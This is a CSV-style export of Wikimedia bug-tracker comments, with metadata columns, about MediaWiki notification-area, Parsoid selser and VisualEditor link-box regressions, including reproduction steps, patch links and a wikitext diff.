+247679,VisualEditor: Link suggestions list should vertically scroll if there's insufficient room for them on-screen,I believe that this was fixed in the scrollable-update in October. Sorry for the slow triage.,,,1393632732,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fbqhcge4qrnba67okcqc,task_subcomment,,True,c1,3,True,,,34,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+54659,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"Screenshot FF, vector skin, mediawiki,ca-action
+
+[Regression]: mw-notification-area makes vector-hover-dropdown closing
+----
+How to reproduce:
+* Be an admin at Commons or have otherwise at least 3 entries in your ca-action dropdown.
+* Fire mw.notify('foo') in your js-console
+* Scroll to top
+* Click the message ('foo') to ""hide"" it
+* Hover the ca-action arrow.
+* Try to click ""protect"" (see screenshot)
+
+As soon as your cursor is over the mw-notification-area (made visible in other screenshot), the dropdown closes.
+
+----
+Expected behaviour: Can move/protect page. Dropdown does not close out of the blue.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal
+
+**Attached**: {F11622}",High,80.0,1375990260,1409946198.0,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,False,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_description,resolved,True,c1,3,False,False,False,5,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,1,1
+247166,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"Change 158659 merged by jenkins-bot:
+mediawiki.notification: Also hide #mw-notification-area upon creation
+
+https://gerrit.wikimedia.org/r/158659",,,1409943658,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,False,,,61,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+247161,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,*** Bug 55457 has been marked as a duplicate of this bug. ***,,,1409942617,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,False,,,61,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+247156,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"Change 158659 had a related patch set uploaded by Catrope:
+Followup 6c5b246: also hide #mw-notification-area upon creation
+
+https://gerrit.wikimedia.org/r/158659",,,1409942585,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,False,,,61,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+247150,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"Change 109124 merged by jenkins-bot:
+mediawiki.notification: Hide #mw-notification-area when it's empty
+
+https://gerrit.wikimedia.org/r/109124",,,1393344878,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,False,,,34,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+247142,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,Rephrasing bug title as it was cut-off.,,,1392115165,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,True,,,32,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+247133,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"Thanks, Bartosz.",,,1390506925,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,True,,,29,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+247127,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"Change 109124 had a related patch set uploaded by Bartosz Dziewoński:
+mediawiki.notification: Hide #mw-notification-area when it's empty
+
+https://gerrit.wikimedia.org/r/109124",,,1390506812,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+247118,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"Ugh, I guess no one will do this if I don't.",,,1390506798,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,True,,,29,,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+247113,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,I am resetting this to high priority only as per the maintainer judgement in comment 4.,,,1390406732,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,True,,,29,,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+247107,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"jforrester: Should this really be highest priority (set in comment 7), or be
+kept as high (as you did in comment 4)?",,,1387200972,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,True,,,24,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,0
+247101,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"jforrester: Should this really be highest priority (set in comment 7), or be kept as high (as you did in comment 4)?",,,1385396423,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,0
+247094,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"(In reply to comment #2)
+> Unless somebody has a better idea, we should probably implement toggling
+> 'display' in JavaScript.
+
+If the ca-action dropdown is the only exposed UI problem, perhaps the ca-action dropdown buttons could have a higher z-index, as a temporary fix at least?
+
+(In reply to comment #5)
+> So I was right that VE is *pushed* by the Wikimedia Foundation:
+> https://bugzilla.wikimedia.org/show_activity.cgi?id=52659
+
+It certainly is. While this regression outside of VisualEditor codebase is regrettable, and hopefully will be fixed soon, the VE team have pushed lots of great JS into core, and fixed bugs like bug 38081 which will benefit Wikimedia Commons.
+
+I have bumped the importance up (but not wedded to it) as it is a regression caused by VE and affecting non-VE environments, and was reported two months ago, and the code change causing it was deployed in July.
+
+In addition to impacting sysops with three ca-actions, it also affects non-sysops on every wiki, although not as pronounced.  Non sysops only have the the 'Move' button in the ca-action dropdown of Vector, and it is partially inaccessible.  If the user slowly moves their mouse cursor down into the dropdown, they can click the move icon if the click on the first few pixels above the word 'Move' - if they continue going down so that their mouse cursor hovers over the word 'Move', the drop down disappears.",,,1381622838,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,False,,,14,,1,1,0,1,1,1,1,0,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,1,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1
+247087,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"(In reply to comment #5)
+> So I was right that VE is *pushed* by the Wikimedia Foundation:
+> https://bugzilla.wikimedia.org/show_activity.cgi?id=52659
+
+I'm confused. What are you saying?",,,1381257412,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,True,,,14,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1
+247081,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,So I was right that VE is *pushed* by the Wikimedia Foundation: https://bugzilla.wikimedia.org/show_activity.cgi?id=52659,,,1381257077,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,False,,,14,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+247076,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"From bug 55457 comment 0:
+
+| 1. Trigger a notification
+| 2. Click on the notification to dismiss it
+| 3. The notification area (<div id=""mw-notification-area"">) is now empty, but
+| still obscures a narrow strip in the top right corner:
+| 
+| > $('#mw-notification-area').outerHeight()
+| 12
+| > $('#mw-notification-area').outerWidth()
+| 269
+| > $('#mw-notification-area').position()
+| Object {top: 89.59375, left: 1251.203125}
+| > $('#mw-notification-area').css('z-index')
+| ""10000""
+| 
+| This is a problem because the div steals events and mouse interaction from the
+| UI elements below it. For instance, in VisualEditor:
+| 1. Open a page in VE
+| 2. Type '[['. The wikitext warning appears
+| 3. Click the warning to dismiss it
+| 4. Reveal #mw-notification-area in the inspector and observe how it's on top
+|    of part of the save button
+| 5. Very carefully move the mouse over the save button, and you'll notice a
+|    small (12px tall) area where mouse pointer is a normal pointer instead of a
+|    hand. Clicking in this area does not press the save button.",,,1381256567,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,True,,,14,,0,0,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+247068,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,*** Bug 55457 has been marked as a duplicate of this bug. ***,,,1381254044,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,True,,,14,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+247060,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"The culprit is this line:
+	padding: 1em 1em 0 0;
+in mediawiki.notification.css. It causes .mw-notification-area to have a non-zero height and thus cover other elements, like the dropdown.
+
+There are two obvious ways to fix it which don't work:
+
+* Change the padding to margin. This causes the notifications to ""jump"" slightly when scrolling, as detailed in commit message of https://gerrit.wikimedia.org/r/#/c/75614/
+
+* Add .mw-notification-area:empty { display: none; }. This doesn't work on IE<9 and other old browsers. [http://caniuse.com/#feat=css-sel3]
+
+Unless somebody has a better idea, we should probably implement toggling 'display' in JavaScript.",,,1376072941,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,True,,,5,,0,1,0,0,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+247052,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"Created attachment 13078
+Screenshot FF, vector skin, mediawiki, mw-notify
+
+I suppose this regression was introduced by fixing https://bugzilla.wikimedia.org/show_bug.cgi?id=50870
+- When I test locally (codebase about 4 weeks old), the menu/dropdown does not close unexpectedly.
+
+**Attached**: {F11623}",,,1375991155,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+54638,Selser regression: pages with templates that generate tables and foster content out of the table are broken,"At http://en.wikipedia.org/wiki/Raven-Symon%C3%A9?oldid=566906720 , if you edit anything in the document, the infobox is deleted, but if you make a null edit, the infobox is retained.
+
+This appears to be a bug in selser: if the HTML doesn't change, the wikitext doesn't change, but any small change in the HTML results in the infobox being deleted. I verified that VisualEditor isn't dirtying anything, but just to be sure I also reproduced this on the command line by just making a 1-character change to the HTML as shown below.
+
+I think this may have something to do with the double }} closing in the infobox.
+
+$ mkdir tmp
+$ cd tmp
+$ wget 'http://parsoid.wmflabs.org/en/Raven-Symon%C3%A9?oldid=566906720' -O originalHTML
+$ wget 'http://en.wikipedia.org/wiki/Raven-Symon%C3%A9?oldid=566906720&action=raw' -O originalWikitext
+$ cp originalHTML editedHTML
+$ vi editedHTML   # Change '<h2>Life and career</h2>' to '<h2>Life and careeer</h2>'
+$ node parse.js --html2wt --selser --oldtextfile originalWikitext --oldhtmlfile originalHTML --inputfile editedHTML > newWikitext
+$ diff -u originalWikitext newWikitext
+
+--- /home/catrope/tmp/originalWikitext	2013-08-08 14:34:46.463998552 +0800
++++ /home/catrope/tmp/newWikitext	2013-08-08 17:04:41.596239434 +0800
+@@ -1,29 +1,7 @@
+ {{Use mdy dates|date=June 2013}}
+ {{pp-move-indef}}
+-{{Infobox person
+-| image           = Raven-Symoné 2011.jpg
+-| caption         = Raven-Symoné in 2011 
+-| birth_name      = Raven-Symoné Christina Pearman 
+-| alias           = Raven<BR>Raven-Symone
+-| background      = solo_singer
+-| instrument      = [[Singing|Vocals]], [[piano]]
+-| birth_date      = {{birth date and age|mf=yes|1985|12|10}}
+-| birth_place     = [[Atlanta]], [[Georgia (U.S. state)|Georgia]], U.S.<ref>{{cite web |url=http://movies.msn.com/celebrities/celebrity-biography/raven-symone/|title=Raven Symone:Biography on MSN |accessdate=2008-07-15 |year=2008 |publisher=[[MSN]]}}</ref> 
+-| genre           = 
+-| occupation      = Actress, singer, [[comedienne]], dancer, television producer, [[fashion model]]
+-| years_active    = 1989–present
+-| label           = [[MCA Records|MCA]], Crash, RayBlaze, [[Hollywood Records|Hollywood]]
+-| associated_acts = [[The Cheetah Girls (band)|The Cheetah Girls]]
+-| website         = [http://www.myspace.com/ravensymone Raven-Symoné Myspace page]
+-| module         = {{Infobox musical artist|embed=yes
+-| background          = solo_singer
+-| genre               = [[Contemporary R&B|R&B]], [[pop music|pop]], [[Hip hop music|hip hop]], [[Soul music|soul]], [[dance music|dance]]
+-| instrument          = Vocals, [[piano]]
+-| years_active        = 1993–present
+-}}
+ 
+-}}
+ '''Raven-Symoné Christina Pearman'''<ref>[http://www.mlive.com/entertainment/saginaw/index.ssf/2008/08/ravensymone_steps_out_of_chara.html]</ref>, (born December 10, 1985), known professionally as '''Raven-Symoné''' (pronounced {{IPA|/ˈreɪ.vən sɪˈmoʊn/}}, as though unaccented), or simply '''Raven''', is an American actress and singer. Raven-Symoné launched her career in 1989 after appearing in ''[[The Cosby Show]]''<!-- Per http://www.imdb.com/name/nm0712368/filmoseries#tt0086687 her first episode of ""A Different World"" was Nov. 2, 1989, while her first Cosby Show episode was Sept 21, 1989. --> as Olivia. She released her debut album, ''[[Here's to New Dreams]]'' in 1993; the single, ""[[That's What Little Girls Are Made Of]]"" charted number 68 on the US ''Billboard'' [[Hot 100]].<ref>[http://www.billboard.com/song/raven-symone/that-s-what-little-girls-are-made-of/450772#/song/raven-symone/that-s-what-little-girls-are-made-of/450772 That's What Little Girls Are Made Of – Raven-Symoné]. Billboard.com. Retrieved 2012-05-19.</ref> The next album, ''[[Undeniable (Raven-Symoné album)|Undeniable]]'', was released on May 4, 1999.
+ 
+ Raven-Symoné appeared in several successful television series, such as ''[[The Cosby Show]]'' and ''[[Hangin' with Mr. Cooper]]'', in the late 1980s and early 1990s. From 2003 to 2007, she starred in the [[Disney Channel]] series, ''[[That's So Raven]]'' in which she played Raven Baxter, a psychic teenager who tried her best to keep her psychic powers a secret. During her time on ''That's So Raven'', Raven-Symoné released her third studio album, ''[[This Is My Time (Raven-Symoné album)|This is My Time]]'' (2004) which was her best selling solo album to date, charting at number 51 on the ''Billboard'' 200.<ref name=""billboard.com"">[{{BillboardURLbyName|artist=raven-symoné|chart=Billboard 200}} Raven-Symoné]. Billboard.com. Retrieved 2012-05-19.</ref> After a year of the end of ''That's So Raven'', she released her fourth studio album, ''[[Raven-Symoné (album)|Raven-Symoné]]'' (2008). The album peaked at number 159 on the ''Billboard'' 200. During 2003 to 2006, she participated in four soundtracks from Disney, [[RIAA certification|RIAA-certified]] double-platinum album, ''[[The Cheetah Girls (soundtrack)|The Cheetah Girls]]'' (2003), RIAA-certified gold album, ''[[That's So Raven (soundtrack)|That's So Raven]]'' (2004), ''[[That's So Raven Too!]]'' (2006) and RIAA-certified platinum album, ''[[The Cheetah Girls 2 (soundtrack)|The Cheetah Girls 2]]'' (2006). The soundtracks sold a combined 4.1 million copies in the U.S. alone. As of April 2008, Raven-Symoné has sold 314,000 albums in the United States.
+@@ -32,7 +10,7 @@
+ 
+ In 2012, Raven-Symoné ranked number eight on ''[[VH1]]''{{'s}} ""100 Greatest Kid Stars Of All Time"" list,<ref name=""GKSAT"">[http://blog.vh1.com/2012-12-02/and-the-1-greatest-kid-star-of-all-time-is/ Greatest Kid Star Of All Time]</ref> and ranked number one on ''Loop21''{{'s}} ""10 Richest Black Actresses Under 40"" list.<ref name=""RBAU40"">[http://www.loop21.com/entertainment/10-richest-black-actresses-under-40 10 Richest Black Actresses Under 40]</ref>
+ 
+-==Life and career==
++==Life and careeer==
+ 
+ ===1985–99: Early life and career beginnings with ''The Cosby Show''===
+ Raven-Symoné was born in Atlanta, Georgia to Lydia (née Gaulden) and Christopher B. Pearman. Raven-Symoné is of [[African-American]] <ref>http://www.tv.com/people/raven-symone/</ref><ref>http://xfinity.comcast.net/slideshow/entertainment-aachildactors/3/</ref><ref>http://ethnicelebs.com/raven-symone</ref><ref name=""imdb"">http://www.imdb.com/name/nm0712368/bio</ref><ref>http://www.nndb.com/people/017/000103705/</ref> and [[Native Americans in the United States|Native American]] ancestry.<ref name=""imdb"" /> At age three, her family moved to [[Ossining (village), New York|Ossining, New York]] where she attended Park School.<ref name=""birthplace"">Charlotte Moore (January 25, 2004). [http://www.pe.com/lifestyles/teen/stories/PE_Fea_Teen_raven0125.a11bc.html Raven takes flight]{{dead link|date=September 2011}} PE.com.</ref><ref>[http://ftp.rootsweb.com/pub/usgenweb/la/winn/bios/sym1569.txt Rootsweb.com]{{Dead link|date=May 2010}}</ref> As an infant, she worked for Atlanta's Young Faces Inc. Modeling Agency and was featured in local print advertisements. At age two, she worked with Ford Models in New York City and appeared in ads for [[Ritz cracker]]s, [[gelatin dessert|Jell-O]], [[Fisher-Price]], and [[Cool Whip]].
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1375953720,1376528533.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-s4knko26mc6rjznucnmu,task_description,resolved,True,c1,3,False,False,True,5,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1
+245979,Selser regression: pages with templates that generate tables and foster content out of the table are broken,Cache is now purged.  I tested on http://en.wikipedia.org/wiki/Crayon_Shin-chan (another page that had been reported with the bug) and verified fixed.,,,1377029359,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-s4knko26mc6rjznucnmu,task_subcomment,,True,c1,3,True,,,7,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+245973,Selser regression: pages with templates that generate tables and foster content out of the table are broken,"Fix deployed -- cache is not yet purged, but on purge tomorrow, this will be fixed.",,,1376528533,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-s4knko26mc6rjznucnmu,task_subcomment,,True,c1,3,True,,,6,,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+245966,Selser regression: pages with templates that generate tables and foster content out of the table are broken,"Change 78242 merged by jenkins-bot:
+(Bug 52638) Fix selser regression introduced by fix for bug 51217
+
+https://gerrit.wikimedia.org/r/78242",,,1375981137,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-s4knko26mc6rjznucnmu,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245956,Selser regression: pages with templates that generate tables and foster content out of the table are broken,"Change 78242 had a related patch set uploaded by Subramanya Sastry:
+(Bug 52638) Fix selser regression introduced by fix for bug 51217
+
+https://gerrit.wikimedia.org/r/78242",,,1375978007,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-s4knko26mc6rjznucnmu,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+245949,Selser regression: pages with templates that generate tables and foster content out of the table are broken,"Reduced test case on which the problem can be reproduced:
+
+{|
+{{echo|a}}
+|-
+|x
+}}
+
+This is a selser regression introduced by a fix for bug 51217.
+
+A fix will be in shortly.",,,1375976525,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-s4knko26mc6rjznucnmu,task_subcomment,,True,c1,3,True,,,5,,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1
+245942,Selser regression: pages with templates that generate tables and foster content out of the table are broken,"Confirmed. 
+
+It is not a double-closed infobox.  It is an infobox within an infobox.  Although, I have gone through a number of these scenarios of infoboxes within infoboxes earlier and handled them in our regular serializer ... and confirmed that normal WTS (wt serializer) can handle it.  Now examining what gives selser the fits.
+
+Thanks for the thorough testing and a way to reproduce it.  Will find a reduced test case and proceed.",,,1375974012,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-s4knko26mc6rjznucnmu,task_subcomment,,True,c1,3,True,,,5,,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+54596,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"**Author:** `sandrobt.wiki`
+
+**Description:**
+When trying to link a page with less than or equal to 3 characters, the page is often indicated as New Page in the link box. For example, try to link ""A"", ""AB"" or ""ABB"" on en.wiki (both with capital letters and in lower case, the latter being redirects). 
+
+Notice that this problem doesn't happen with CD and NBA, but it does with Cd and Nba (all these pages are redirects on en.wiki).
+
+--------------------------
